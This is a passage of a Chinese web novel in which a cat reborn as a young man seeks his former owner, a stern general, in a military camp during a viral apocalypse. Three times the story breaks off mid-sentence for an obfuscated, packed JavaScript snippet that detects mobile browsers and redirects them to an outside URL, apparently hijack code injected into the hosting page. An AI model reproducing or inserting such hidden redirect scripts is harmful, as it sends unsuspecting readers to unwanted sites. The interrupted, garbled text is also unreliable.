是第九特区最高指挥官赵听寒将军。他手里举着枪,面无表情的指向屋内陌生的少年。 8. 第 8 章 这是南知第二次被枪指着。 他眼睛睁大一眨不眨,翘起的唇角僵硬风化,所有的期待和惊喜瞬间化为震惊和迷茫。 小猫发呆。 气味是对的…… 但脸不对。 完全不对! 人类通常以为小猫是靠嗅觉听觉来辨别外物,其实小猫也会通过它们较差的视觉来观察。就比如现在…… 不需要一秒钟时间,南知已经快速的在赵听寒将军身上打量了三圈,从头到尾。 没有傻傻的刘海,也没有厚厚的眼镜。看起来陌生极了。 那是一张年轻却沉稳的面孔,莫名透露着一股平静却危险的气息。五官和他的目光一样锐利,冷酷的盯在南知身上。 对方也在看着南知。 南知摇摇头,现在是什么情况?这个人的脸和铲屎官长得不太像。至于身材…… 身高差不多,腿也很长。肩膀宽了点,胸……好像也大了点。 “是你。” 在南知确认之前,赵听寒将军先他一步开口。 南知惊喜,心脏砰砰乱跳,问:“你认识我?” 真的是铲屎官!他肯定是认出我了!虽然他的外形改变的有些多,实在不好辨认,但他先认出了我! 等等…… 南知歪着脑袋,表情更加迷茫。外形变化最多的,难道不应该是我吗? 突然转生,还没有抽到原皮。从一只白毛蓝眼睛小猫咪变成了无毛两脚兽。如此巨大的变化,铲屎官都能一眼认出?南知开始怀疑。 赵听寒将军的表情还是一成不变的冷静,黑色的双眼微眯,莫名就多了几分危险的气息。 他沉声说:“放下你手里的东西。” 南知抬手,是钱包,里面夹着那张老旧的相片。 南知摇头,说:“我的。” 铲屎官的东西,就是小猫的东西,不可以让别人抢走。 赵听寒将军平静的双目中产生了一丝波澜,小猫能敏锐的感觉到,对方的危险指数在不断的飙升。 南知想,这个人好凶。铲屎的不会这样凶我,就算我一口气打破他七只玻璃碗,他也不舍得凶我。 “放下。” 赵听寒再次开口,说:“我数到三。” 他手中枪口瞄准的方向平稳下移,没有离开南知,重新瞄准了少年的右腿膝盖位置。 “一……” 南知呲牙,握紧手中的钱夹,不服输的说:“这是我的!” “二……” 南知打算先发制人。 轰隆!!! 奇怪的巨响在倒计时结束前突然爆发,比手枪剧烈许多。 南知吓了一跳,快速看向窗外方向。混沌的天空须臾黑暗,就像被人按下了熄灯的按钮。 黑暗中大地在颤抖,剧烈的颠簸,搭建稳固的营帐也跟着在晃动,轰隆隆接连不断的声音从头顶传来。 南知被晃得几乎站不住,快速抬头。小猫的夜视能力比人类强出很多,此时他还是能看的非常清楚,甚至比白天更加清楚。 要塌了! 作为一只无聊就喜欢搞些小破坏吸引铲屎官的猫咪,南知以前偶尔也是会拆家的,对于“坍塌”这种事情很有经验。 这间营帐要坍塌了。 南知握紧手中的钱夹,转身朝着窗口窜过去。 “站住!” 那位凶巴巴,很讨厌的两脚兽在叫他。 南知耸着鼻子哼了一声,笨猫才会站住。 赵听寒将军没有开枪,立刻冲上去。与此同时,远方接连不断的轰隆声再次传来,声音比刚才小了不少,但地面还在不断的晃动。 营帐顶部的金属支架终于不堪重负,狠狠砸下。 “喵!” 南知扒着窗户抬头去看,直接吓出了猫叫。有东西砸下来了!必须快跑! 但来不及了。 咚! 金属支架砸下,南知蜷缩着捂住自己的脑袋,想象中的疼痛没有发生,只是被狠狠的撞了一下。 一抹人影冲过来,直接将南知扑倒,按在墙角的位置。 南知在黑暗中睁大眼睛,一瞬间,他被熟悉的怀抱,熟悉的气息紧紧包裹,那是铲屎官的怀抱。 可他抬起头来,对上的又是那种极度陌生又冷漠的面孔。 是赵听寒将军冲过来帮他挡了一下。 南知闻到了鲜血的味道,微腥微甜,然后看到有红色的液体从那张凶巴巴的脸上缓缓淌下。 “喵!” 小猫很容易出现应激反应,就算南知现在已经变成了人,但他还是受惊不小,下意识推开救了他的赵听寒将军,身形灵动的从窗口窜出,消失在黑暗之中。 外面很黑也很冷,头顶人工太阳的光线完全消失,只剩下营地内的应急照明。刚刚剧烈的震动,又摧毁了不少临时帐篷,应急照明淅淅沥沥,仿佛患有白癜风的病人。 方才还井然有序的军营因为剧烈的地震变得有些凌乱,不少士兵快速跑过。 周一上校就在这些士兵之中,快速的朝着赵听寒将军的营帐跑去。 “将军!您没事吧!” 周一看到赵听寒安然无恙,松了口气。 赵听寒脸色很难看,和素日里死水一样的平静完全不同,黑着脸道:“发生了什么?” 周一回禀说:“将军,三区的辉火被不明物体击中,掉下来了!” 他口中的辉火就是人工太阳。 三区的人工太阳因为没有燃料,正在渐渐熄灭。而就在刚才,不明物体冲向暗淡的辉火,直接将人工太阳击碎,从半空中爆炸陨落。 辉火剩余的能量激荡着,爆炸已经相当激烈,巨大的碎片砸在地上,又接连引起了不小的震动。 周一说:“万幸的是军营只是受到了爆炸的震荡,没有被碎片击中。” 赵听寒点头,扫了他一眼,皱着眉说:“你的脸怎么回事。” 周一上校下意识抬手摸脸,倒抽一口冷气,说:“我正要汇报呢!老赵!我毁容了!” 就在刚才,地震发生,周一立刻冲出来寻找赵听寒将军,在来的路上…… 周一比划着,手舞足蹈的说:“我发现那个挑衅的入侵者了!” 跑来的路上,周一正巧撞见了逃走的南知。 “就是那个丢个空纸箱在营地,还偷吃了你晚饭的……” 周一的话被赵听寒打断,说:“他人在哪里?” 周一嗓音戛然而止:“额……被他又跑掉了。” 南知逃走的时候,正巧和周一上校打了个照面。周一当下上前,想将南知擒住。 周一上校捂着右脸,委屈的说:“没想到他动作那么快,刷的就消失了,跑就跑了,还挠了我的脸一爪子,火辣辣的疼!都出血了!完蛋,我肯定毁容了!” 赵听寒将军没说话,深吸一口气。 周一上校眨眨眼睛,奇怪的说:“老赵,你的头怎么了?怎么流血了?” “无妨。”赵听寒摇头。 他额头上有血迹,被金属支架砸中,稍微残留着眩晕感。 赵听寒不在意的抬手蹭掉流下来的血迹,目光锐利的盯着手中的东西。 周一好奇看了一眼,说:“你钱包里的照片呢?” 这不问还好,一问之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414971|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵听寒的脸色更加难看。 刚才赵听寒将军冲过去帮南知挡了一下,与此同时还将南知手中的钱包抢了回来。让他完全没想到的是,钱夹里空了,那张对他比命都重要的照片,还是消失不见,被少年给偷走了。 赵听寒眯眼,说:“封锁军营,将那个叫南知的人抓回来。” 周一挠了挠后脑勺,说:“南知?是谁?” 随即又露出恍然大悟的表情,说:“就是那个来军营挑衅的少年?你怎么知道他叫什么名字?” 周一嘴里嘶嘶的捂着右脸,兴趣一下就被调动上来:“我的天呢,你们以前认识?肯定认识。我刚才打眼一看,就匆匆一眼,那年轻人长得还挺好看的,小脸大眼睛,皮肤还挺白的,特别乖巧的模样。” “不对不对。”周一嘴里叭叭叭,语速飞快:“乖就见鬼了,可挠死我了,我都毁容了。他还挺辣的啊。他不会是你的前男友吧?看我发现了什么!你们是不是有什么仇什么怨!肯定是啊,不然谁这么无聊,千方百计潜入军营,就是为了丢个空箱子,再偷吃你的晚餐。” “周一上校。” 赵听寒将军只说了四个字,让亢奋的周一一个激灵,连忙捂住嘴巴。但他的双眼出卖了他,还是闪烁着八卦的光辉。 赵听寒将军说:“立刻去,抓住他。” “是!”周一大声回答:“我现在就带人去,将军营翻个底朝天,然后把他抓住碎尸万段!” 赵听寒皱眉,说:“要活的。” “哦~~~”周一上校阴阳怪气的笑着答应,说:“我懂了,我都懂了,我现在就去!一定把他安然无恙带回来。” 南知挠了一把周一上校,成功逃窜,谨慎的躲到了偏僻的角落,蹲在一堆货箱的缝隙之间。 稍微想了想,南知觉得这样不安全,很有可能会被抓住。他干脆拆开了一只很大的货箱,将里面乱七八糟的东西扔出来,自己钻进去。 “终于安全了!” 南知很肯定的点头,躲在纸箱里,绝对是最安全的。 他蜷缩着,展开掌心,一张本就老旧的照片被他捏的有些皱巴巴。少年爱惜的捧着照片仔细瞧。 这是他从赵听寒将军钱夹里抢来的。 南知瞧着照片,眼睛又开始隐约发酸。脑子里莫名涌起海浪一般的记忆,全都属于小猫和铲屎官。 南知还清晰的记得,每天铲屎官都会在睡前跟他玩追逐游戏,铲屎官觉得这样可以消耗小猫的体力,让小猫能在夜晚安安静静的好好睡一觉。 两个人在家里你追我赶,铲屎官相当狡猾,总是能发现小猫的藏身之地,把小猫吓得够呛。 每到这个时候,小猫都会急匆匆跑进储物间的一只纸箱里,那样铲屎官就看不到他,也抓不住他。 纸箱是最安全的,那是小猫的庇护所。 那是铲屎官给小猫精心准备的安全屋,但凡发生意外,铲屎官到处都找不到小猫的时候,就会去“安全屋”找,一定能看到他的吱吱躲在里面。 南知吸吸鼻子,用脸颊蹭蹭照片。他心中有很多疑问。 “他到底是不是铲屎的?” 南知自言自语,脑袋里仿佛在熬一锅浓稠的白粥,混乱的很。 “他身上的味道,他血液的味道……好像啊……”南知点头:“而且他认识我,他还来救了我……因为救我,都受伤了。” 那肯定是铲屎的了! 南知又摇头:“可他凶我,用枪指着我,长得也和以前不一样了。” 南知再次点头,指着自己的鼻子说:“我长得也和以前不一样了,这很正常吧。我不能因为铲屎的变丑了,就抛弃他啊。” 9. 第 9 章 南知捧着照片再三斟酌,仔细的闻来闻去。 味道肯定是对的,尤其是这滴血液…… 少年小心的揪起袖子,他的袖子上沾染了一滴很新鲜的血液,就一小滴,相当容易被忽略掉。 不是南知的血液,是刚才赵听寒将军冲过来扑倒他时,落在他身上的血滴。 缓慢靠近,血液甜丝丝,还带着一股熟悉的感觉。 “我要回去!” 南知下定决心。不知道为什么,铲屎官的发型不一样了,眼镜被丢掉了,甚至说话也不结巴了,但那很有可能就是南知的两脚兽。 小猫是谨慎的动物,小猫是最擅长观察的动物。 南知决定偷偷溜回去,潜伏在可疑两脚兽的身边,对他进行精密而谨慎的观察,然后再做判断。 外面的情况还有些混乱,士兵们的脚步声从未停歇。 南知找到间隙钻出去,一步三停,小心翼翼往回折返。 不远处,一队人朝着南知的方向疾奔而来,是周一上校带着他的警卫团。 “嘶嘶……”周一上校捂着已经结痂的脸颊,嘴里嘟囔着:“还疼呢,疼死我了。” 南知藏在黑暗的角落,无声呲牙。 他们要过来了,需要想个办法逃走,否则…… “周一上校,您看!”有位士兵惊喜的说。 南知差点就以为自己暴露了! 士兵指的方向不对,他指着营门口的位置。 军营的大门打开了,几辆车快速通过,驶入营地,然后停下。 周一脸上露出惊喜的表情,说:“是我哥的车!他们怎么回来了!” 因为太过惊喜,搜索工作暂停,周一上校朝着那些停下的车跑了过去。 “哥!” 警卫团的士兵们也很高兴,行礼说:“周日上校,您安全回来了,是任务结束了吗?” 车上走下来一位年轻人,看起来比周一上校稍微大几岁,他们甚至长相都很相似,绝对是兄弟关系。 倒是两个人的性格一看就大相径庭。 周日上校表情严肃,皱眉说:“你的脸……” “嗨,没事。”周一摆摆手,疼得嘴角一抽,却还笑呵呵的,神神秘秘小声说:“哥,我告诉你一个秘密吧!老赵好像有个前任,还是个男孩子呢,长得可好看了,还很……” 话说一半,周一抵不住对方平静如水,却又似冰锥一样锐利的模样,闭了嘴巴。 周日上校严肃的说:“不可以拿将军打趣。” “知道了知道了,”周一垂着头蔫巴巴的说:“开玩笑都不行。这一天天的,他不笑,你也不笑,还不允许我开玩笑。压抑,太压抑了!” 周日深吸一口气,周一赶紧打断他的说教:“诶,你怎么回来了?不是守在三区外面吗?” 周日的表情比刚才还严肃:“三区D区被坠落的辉火碎片击中,现在情况混乱,必须要向将军禀报才行。” “那我跟你一起去吧!”周一说:“刚才我们这里也天摇地动的,好在没有什么东西砸下来。” 南知正发愁营地很乱,找不到回去的路。眼睛亮晶晶的盯着正在说话的两个人,他们要去找可疑两脚兽了,他们要给我带路。 周一说:“跟我来,我带你去找将军,将军的营帐出了问题,换了新的住处。” 周日点头。 南知点头。 南知悄无声息跟上,一路尾随,完全没有被任何人发现,猫着腰踮着脚,来到一扇窗户下面蜷缩起来。 叩叩! 周一上校抬手敲门,朗声说:“将军,我哥回来了,有要紧事情禀报!” “进来。”屋内有人开口。 南知眼睛变亮,就是这个声音,是那位赵听寒将军的声音。 听起来…… 南知认真辨别,听起来和铲屎的一点也不像。铲屎的不会将嗓音压的这么沙哑,反而会夹着声音,说话的时候黏糊糊的,简直能拉丝。 周一推开房门,和周日上校一起走进去。 南知趴在窗户上探头,继续偷窥。 赵听寒将军已经换了新的衣服,刚从浴室间走出,他冷黑色的头发湿漉漉的,完全没有之前的整齐,没什么规则的垂下,挡住了一部分的眼睛。 南知:“!!!” 像像像!这个样子就有点像铲屎的了!但是还差一副很厚的眼镜。 赵听寒将军用浴巾擦了几下,随手将半干的头发背起,以免挡住视线。 南知沉吟,现在又完全不像了。 周一上校说:“老赵,你的头没事吧,上药了吗?” 赵听寒将军说:“止血了,死不了。” 周一忍不住吐槽:“你的标准还真低。” 话没说完,被周日看了一眼,只好闭嘴噤声。 赵听寒将军问:“那个叫南知的人找到了吗?” “还没有……”周一头疼:“我觉得他上辈子一定是只小老鼠,也太能藏了吧。” 趴在外面的南知摇头,我上辈子是一只猫,怎么可能是老鼠。 “南知?”周日上校略微有些吃惊,不确定的问:“原本住在三区D区宠物诊所的那位助手?” 周一瞪大眼睛,张大嘴巴,震惊的说:“哥,你也认识他?” 现在南知和周一绝对是同款表情,震惊的心想,这个人是谁?他怎么会认识我? 周日上校淡定回答:“不认识,没见过。” 周一满脸疑惑。 周日没头没尾的说:“活体疫苗容器。” 周一倒抽一口冷气,捂住嘴巴说:“你是说……南知就是活体疫苗容器?!” 南知眨眨眼,他们到底在说什么?听不懂。 周日点头。 赵听寒将军沉着嗓音说:“三区从我们的实验室偷走了最后一支疫苗,注射在了某个人的身上,目前还不能确定,真正的疫苗在谁的体内。” R病毒还在蔓延,各区都在努力研究人工太阳,努力研究R病毒疫苗。 有传言九区成功研制出了针对R病毒的疫苗,但不知什么原因,暂时无法大规模的生产。 消息一出,各个区都盯上了那支疫苗,想要从九区手中抢夺,不择手段、不计后果。 就在一个月前,九区的中央实验室遭到袭击,疫苗丢失。经过调查,偷走疫苗的组织来自三区。 三区得到疫苗之后,将疫苗立刻注入在一位年轻人的体内,制成了活体疫苗容器,以便日后更好的使用疫苗。 周一震惊的说:“所以那个叫南知的年轻人,就是活体疫苗容器?怪不得老赵对他的态度这么不同寻常。” 赵听寒摇头,说:“还不能确定。” 周一奇怪,说:“为什么?” 周日说:“三区的人很狡诈,他们同时在十三个人身上注入疫苗,只有一个人身上的疫苗是真正有效的,其他十二人身上的疫苗是残次品,起到了烟雾弹的作用。” 如此一来,十三分之一,正确的概率实在是太小了。 周一恍然大悟点点头:“原来是这样,所以南知就是十三分之一?” 赵听寒说:“现在无法确定他是否就是真的活体疫苗容器,只能先将他控制起来,再做检查。” 周一为难的挠了挠后脑勺,说:“这个叫南知的也太狡猾了,有监控都抓不到他。现在三区辉火坠落,外面一片漆黑,照明系统微弱,监控里的画面就更不清晰,更找不到他了。可能……他可能已经逃出营地了吧。” 可能逃出营地的南知还趴在窗外,脸上的疑惑丝毫没有减少。 赵听寒将军说:“没关系,他的同伴还在我们这里。” “啊对。”周一笑着点头:“他那三个同伴还在咱们这里关着,有人质在手里,肯定能抓住他的。” 窗外的南知歪头,什么同伴? 赵听寒将军看向周日上校,说:“三区发生了什么?” 周日突然赶回来,肯定是发生了大事。 周日上校说:“将军,坠落的辉火碎片击中了三区D区,城内数栋房子被毁,还有两处发生了起火,情况看起来非常糟糕,如果不进入三区施救,三区很可能会彻底被毁。” 周一说:“这么严重?但是三区里已经没有‘活人’了。” 赵听寒将军皱眉:“城内还有多少恶变者?” 周日说:“三千左右。” 被病毒感染,彻底成为恶变者后,人类就会失去所有的意识,完全无法像个“活人”一样生存下去。 三区被袭击死伤惨重,能跑的人早就离开了那里,剩下的人全部被感染。赵听寒将军带着九区士兵赶来,将城门关闭,恶变者便无法离开三区进入临近的九区,感染更多的正常人。 周日上校说:“三区内已经无正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414972|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类,但还有三千左右的恶变者。如果不施救的话,恐怕存活率不超过五分之一。” 去救一些恶变者,这听起来绝对是件危险的事情。 赵听寒将军沉默了片刻,说:“准备一下,我亲自去三区城外看看情况。” “是!”周日上校说。 周一说:“那我也去,我去准备。” 窗外的南知缩了缩脖子,房门打开,那三个人走出来了,他屏住呼吸,确保自己不被发现。 等等! 南知差点激动的窜出去,目光紧紧盯在赵听寒将军的身上。 赵听寒将军走出房间,他换了一身新的衣服,军装笔挺,带着一股沐浴液的淡香,很好闻。就在他的腰间…… 少年揉揉眼睛,不确定的再揉揉眼睛。他的腰间佩戴着一只跳了线、打了补丁的鲷鱼玩具! 阿贝贝! 是南知的阿贝贝! 少年两只手在窗台上扒了几下,兴奋的睁大眼睛。 这只鲷鱼玩具是铲屎官在生日那天送给小猫的玩具,从此和小猫形影不离,去哪里都要叼着带着。 很快,阿贝贝就被玩的有些破破烂烂,但不妨碍小猫喜欢它,睡觉都要抱着它。 有的时候铲屎官会用酸溜溜的口气问:吱吱最喜欢鲷鱼,还是最喜欢爸爸? 无聊的问题。 被问的次数实在是太多了,小猫免疫,小猫白眼。 南知目光一瞬不瞬的盯着那只破破烂烂的鲷鱼玩具,又一瞬不瞬的盯住佩戴着鲷鱼玩具的赵听寒将军。 他戴着我的玩具! 他身上的气味那么熟悉! 南知兴奋的想,他一定是我的铲屎官!一定是。 “喵~~~” 是猫叫。 但绝对不是南知发出的猫叫。他刚才一直在努力控制自己不要发出“奇怪”的叫声。 甜美的小夹子音,听得南知浑身一颤。 就见一只雪白色的小猫突然出现在打开的房间门口,毛茸茸的,个头不大。 也是蓝眼睛! 南知意外,和我以前长得好像啊,但我比它大! 好怀念毛茸茸的自己…… 少年摸摸自己白皙的手背,一根毛也没有,手感好奇怪啊,以前铲屎的最喜欢给我梳毛了。 “喵~~~” 甜美小猫叫着,挡住了开门走出来的三个人。 “喵~~~” 小猫撒娇一般倒在地上,扭来扭曲。 周一上校兴奋拍手:“嘬嘬嘬~美美~是你啊美美~好可爱啊美美~快来哥哥这里~” “喵~” 小猫又叫了一声,站起来一窜,动作相当灵活。 周一上校张开双臂,但是接了个空。小猫根本没有跳入他的怀抱,而是一头扎进旁边赵听寒将军的怀中。 南知:“!!!” 南知震惊的瞪大眼睛。 那只同样白毛蓝眼,个头比他小一点的猫咪,正在赵听寒怀中打滚,脑袋拱来拱去,完全就是一副求摸求撸的模样。 正打算冲出去和铲屎官相认的少年完全怔愣住。 他在干什么? 他摸别的猫! 他有别的猫了! 赵听寒将军低下头,看着怀中毛茸茸的一团,平静的表情出现一丝裂痕。 周日皱眉说:“小一,快……”快把你的猫带回去。 话才出口,根本没来得及说完,就听到“哐啷”一声响。 一条纤细的身影从窗户下面窜了出来,甚至还气愤的一脚踢翻了旁边堆放的物资箱子。 “啊!” 周一满脸呆滞,不敢置信的说:“是他!南知!他怎么在这里!” 找了半天的少年主动出现了! 南知白皙的脸颊通红,眼睛里能喷出火花,愤愤不平的瞪着赵听寒将军,还有他怀中撒娇耍赖的小猫。 “喵!” 甜美小猫感觉到危险,弓背炸毛,飞快的窜起,跑掉了。 南知手指赵听寒将军,红着鼻尖,带着哭音,大声的控诉:“笨蛋铲屎官!你这个大坏蛋!” 少年出现的过于突兀,就连赵听寒将军也没有料到。 南知胸口快速起伏,气到跺脚,但他脑袋里属于人类的脏话太少了,一时搜索不全。 “渣男!”憋了半天,少年呲牙骂道。 10. 第 10 章 小白猫在赵听寒怀中一弹,尖叫着飞机耳。将军先生下意识伸手捞猫,动作又莫名僵住。只是眨眼的空隙时间,受惊的小猫美美已经消失的无影无踪。 “美美!美美!” 周一大喊着。 “渣男!坏蛋!” 南知也在大喊着。 情况出人意料,且相当混乱。 周日上校还是第一次见到南知,也是第一次遇见骂将军渣男的人,面瘫脸一愣,说:“这个人……” 赵听寒将军低喝道:“拦住他!” 南知跳出来骂了人,立刻转头就跑。心里想着,铲屎官大坏蛋,这个花心的渣男,我才不会和别的猫一起分罐罐。 南知决定抛弃花心铲屎官,让他再也找不到自己。 士兵们听到将军的命令,蜂拥而至。军营里响起警鸣声,所有人都在追捕那位身材纤细,又神出鬼没的少年。 赵听寒将军亲自追上去,只有周一上校苦着脸,嘴里叨念着:“美美!我的美美!跑哪里去了!” “小一!快走!”周日拽了他一把。 周一说:“我得先去找美美,它不会跑丢了吧?” 南知根本不知道美美是周一上校养的猫,其实很少有人知道那是周一上校的宠物,毕竟美美对上校先生相当高冷,从不主动贴贴。 动作灵巧的少年肩膀一缩,从箱子缝隙钻过去,脚尖轻轻踮起,根本不见他发力,已经轻而易举就翻过带着高压电网的院墙。 一墙之隔,南知能清晰的听到很多人在追他的声音。 一名士兵说:“将军!人又不见了!” “追到这里就突然消失了。” 周日上校的声音说:“会不会翻墙出去了?” “不可能吧,墙这么高,谁能翻出去啊。” “诶!” 然后是周一上校惊呼的声音:“将军,危险啊!墙上都是高压电!会被电糊的。” 在南知之后,有人同样轻而易举的翻墙跃出,是赵听寒将军。 周一上校隔着墙大喊着:“将军?你没事吧?还好吧?” 赵听寒双目一眯,说:“我看到他了。” 南知听到那危险的声音就在背后,回头一瞧,还真的快追上来了。他吓得一个激灵,原地窜了窜,专门找犄角旮旯往里钻。 “不能被他追上。” “我要给自己找一个新的铲屎官。” “他被我弃养了!” 南知边跑边想,越想越气,越跑越快。 小猫对于东躲西藏最有经验,不需要十分钟,成功甩掉背后那抹人影。 少年蹲在阴暗的角落,竖起耳朵。 周一上校气喘吁吁:“真的又逃掉了?我的天呢,连将军都追不上他。” 赵听寒将军嗓音沙哑,命令说:“调动剩余所有无人机,立刻搜索附近,务必将他抓住。” “是!”周日上校答应。 南知耸了耸鼻子,自言自语:“我需要跑的更远一点。” 可是身材瘦弱的少年已经有些累了,他感觉自己现在的身体不如一只小猫那么灵动。 “啊对了,”南知眼睛发亮:“如果我能拥有一辆车就好了。” 回想起之前胖子李聪开的车,南知就觉得不错,跑的很快,看起来还不费力气。 他决定回去找找那辆车。 九区的临时军营就驻扎在三区城外不远的地方,那辆改装吉普车停在三区城外一睹破墙的后面。 南知一路闻着气味找回去,果然就看到那辆眼熟的大车。 他猫着腰走近,探头一看。车里没人,而且车门没关。 完全不需要钥匙,南知侧身一钻直接坐进了驾驶位。 “他们不在?”少年有点奇怪,他们去哪里了呢?一个人都没有。或许是发现我不见了,都去找了吧。 南知露出狡黠的笑容,两只手像模像样扶住方向盘,自言自语说:“那我就趁着这个机会,把车开走吧!” 那三个人要卖了我,少年想,他们都是大坏蛋。 铲屎官有了新猫,少年想,他也是大坏蛋。 “再也不想见到他们了。”南知点头,下定决心,大声说:“出发!” 然后…… 手扶方向盘的少年气愤的面容渐渐凝固,露出呆滞的表情,小声嘟囔:“车怎么没动?” 当时李聪就是这样双手扶着方向盘,转一转,车就听话的开走了。 南知转了转方向盘,好沉,没转动。 “嗯……”少年皱眉说:“让我想想。” 他开始调动脑袋里稀薄的人类“记忆”,开车好像不只是要转动方向盘,还要给油,挂档,踩刹车等等。 太复杂了…… 少年将脸埋在方向盘上,纠结半分钟,最终跳下车,决定继续用最简单的双腿逃跑。 “喵!!!” 南知刚下了车就听到猫叫,敏锐回头,简直冤家路窄! 一只白色的小猫正呲牙,凶巴巴的瞪着他。 “是你啊。” 南知不服输的叉腰,也凶巴巴的瞪着它,说:“你就是笨蛋铲屎的新养的猫。” 是小猫美美。 美美一看就是家养的小猫咪,身上白白净净,长毛被打理的很整齐,还特意剪了造型。 南知奇怪的左顾右盼,说:“你怎么跑到这里来了?” “喵!”美美叫了一声。 南知生气的说:“问你你不回答,你还骂我!” 美美很不友好的对着南知哈气,南知不甘示弱,也对着美美哈气。 “哈!” “哈!” 一猫一人对着哈了几个来回。 美美败下阵来,一看就是被南知给唬住了,炸着毛回头就跑。 “哼!”南知双手抱臂,想当初在流浪的时候,就算打群架也是没输过,更别说只是低阶骂架而已。 南知见它跑的太远了,说:“笨蛋,你跑错方向了,你家不在那边。” 美美慌不择路,正好跑错了方向。 南知侧头去看,那边是三区城墙,有不少全副武装的士兵在把守,看起来就不安全。 小白猫听到南知叫它,但是不敢停留,越叫它越跑。 很快,南知听到陌生的声音说:“警戒!有人!” “不是人,是一只猫跑过去了。” 声音从三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414973|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区城门口传来,两名守城警卫在说话。 南知咬了咬下唇,大步朝着三区城门走过去。 “站住!” 警卫果然拦住南知的去路,说:“是什么人!这里非常危险,不能进去。” 守城警卫并不认识南知,上下打量了他几眼。 南知指着里面说:“有猫进去了,里面那么危险,要把它带出来才行。” 两个警卫对视一眼,其中一个笑道:“一只猫而已。” 很显然,他们并不觉得一只小猫的性命很要紧。 南知皱眉,漂亮精致的脸颊顿时发红发涨,不高兴的瞪着他们。 警卫们被少年突然的怒气弄的有些莫名其妙,说:“就算是你的猫进去了,你也不能进去。” 南知纠正说:“那不是我的猫。” 警卫们更是纳闷,说:“不是你的猫你管它干什么?” 南知坚定的说:“那也不能不管它。” “别找死,别妨碍我们执行公务。快走快走。”警卫们驱赶南知:“再不走就把你抓起来!” “喂!!!” 一名警卫突然大吼,莫名其妙的少年身形一窜,就朝着城墙破损的缺口钻了过去。 那么细那么窄的一个缺口,南知两肩蜷缩,像一只没有骨头的小猫,成功钻进去。 警卫们慌张跑到缺口前,根本没办法再追,只能大喊着:“站住!站住!里面被感染了,你不要命了吗!” “这可怎么办?快去禀报!” 不等警卫跑去通知,已经有几辆车快速停在城门口。 警卫们一怔,全都吓了一跳,严肃行礼说:“将军!” 是赵听寒将军亲自来了,身后还跟着周日和周一上校。 赵听寒大步走过去,立刻问:“人在哪里。” 就在刚刚,无人机拍到了南知逃窜的身影,出现在三区城门外附近。 警卫们被问的有点傻眼,赶忙回答:“将军,您说的是刚才那个古怪的年轻人吗?” “对对对,”周一上校跑过来说:“古怪极了!长得还不错的那个!肯定就是他啊!” 警卫们说:“报告将军,那个人闯入封锁线了!” “什么?”周一震惊的指着破破烂烂的三区城门,说:“他进去了?” 警卫们垂头说:“是。刚才有一只猫跑进去了,然后突然来了个少年,非要进去找猫,我们已经努力阻拦他了,可他……动作太快,直接就跑进去了。” 赵听寒将军皱眉说:“猫?” 警卫们连连点头,生怕将军不信,说:“是真的将军,我们没有撒谎。” 周日上校严肃的说:“三区城内剩下的全部都是恶变者,还有多处建筑被辉火碎片击中,现在情况非常不乐观。这个时候有人误入,恐怕……” 赵听寒打断了他的话,说:“我先进去。周日带一队人,做好防护准备后进来。周一在外面支援。” “将军?”周一惊讶的说:“您要亲自进去?这太危险了。” “我早就克服了恶变,不会被二次感染。”赵听寒表情平静,伸手将腰间打着补丁的鲷鱼玩具摘下,递给周一说:“帮我保存好。” 11. 第 11 章 南知避开那两个守城士兵,顺着缝隙钻入城内,又朝着黑暗一头钻过去。 士兵们根本不敢越线进入三区城门,只能眼睁睁看着他消失不见。 “危险解除。”南知回头去看,脸上的笑容没能维持一秒钟,喃喃的说:“好像也没有……” 最近分明没有下雨,但地上黏糊糊的,是血液,干涸的,半干的,红色的,和蓝色的。 南知原地踏了两步,嫌弃的苦着脸皱眉。他是一只爱干净的小猫,不喜欢泥土,也不喜欢水坑,每天都要保持白色的绒毛蓬松清爽。 “喵!!!” 前方传来美美的尖叫。 南知咬牙说:“真是个麻烦精。” 他尽量踮着脚尖,跨过地上黏糊糊的液体,动作迅捷无比,朝着更深处跑去。 除了美美的叫声,还有奇怪的低吼,城里的味道很复杂,比油漆的味道还要刺鼻。 南知用手捂着口鼻,太难闻了,让他每一根汗毛都竖起来,这是危险的味道。 前面突然出现了会动的黑影,不是小猫美美,是一个人类,是一个两脚兽,倒在泥泞的地上不停的打挺不停的扭曲,像一条濒死的毛毛虫。 他的嗓子里发出呼噜呼噜,类似于小猫很舒服的叫声,可表情却狰狞发黑。 南知被吓了一跳,根本不敢走过去,戒备的死死盯着那扭个不停的两脚兽,完全不知道他在干什么。 扭曲的人类兀自用力,发青的整张脸变得通红,鼻孔怒张,双眼突出。就听到“噗嗤”一声怪响,有东西爆炸了,没什么威力,却很吓人。 